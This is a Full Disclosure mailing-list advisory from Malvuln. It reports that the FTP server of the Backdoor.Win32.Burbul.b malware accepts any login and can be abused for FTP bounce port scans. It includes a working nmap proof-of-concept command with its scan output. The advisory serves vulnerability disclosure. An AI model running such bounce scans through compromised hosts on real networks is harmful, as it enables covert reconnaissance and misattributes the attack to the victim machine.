Message-ID: <CAAHK0WQFNi5mjBpPhDVmbRZyh2AvzpbsPukrS62a1+NyyVMSXQ@mail.gmail.com>
Date: Thu, 1 Apr 2021 12:41:28 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Burbul.b / Authentication Bypass MITM Port
	Bounce Scan

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Burbul.b
Vulnerability: Authentication Bypass MITM Port Bounce Scan
Description: The backdoor runs an FTP server that listens on TCP port 2121.
Third-party adversaries can abuse the server as a man-in-the-middle machine
allowing PORT Command bounce scan attacks using Nmap. This vulnerability
allows remote attackers to abuse your system and discreetly conduct network
port scanning. Victims will then think these scans are originating from the
infected system running the afflicted malware FTP Server and not you. This
is easily accomplished as the malware also suffers from a authentication
bypass as any username password combination can be used to authenticate.
Type: PE32
MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a
Vuln ID: MVID-2021-0154
Disclosure: 03/30/2021

Exploit/PoC:
nmap -n -Pn -b mal:vuln@....168.88.128:2121 192.168.88.131 -p21,22,80 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-30 12:17 Pacific
Daylight Time
Resolved FTP bounce attack proxy to 192.168.88.128 (192.168.88.128).
Attempting connection to ftp://mal:vuln@....168.88.128:2121
Connected:220 ╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ
φ≤µφ√∞...
Login credentials accepted by FTP server!
Initiating Bounce Scan at 12:17
Discovered open port 80/tcp on 192.168.88.131
Completed Bounce Scan at 12:17, 2.13s elapsed (3 total ports)
Nmap scan report for 192.168.88.131
Host is up.

PORT   STATE  SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.26 seconds


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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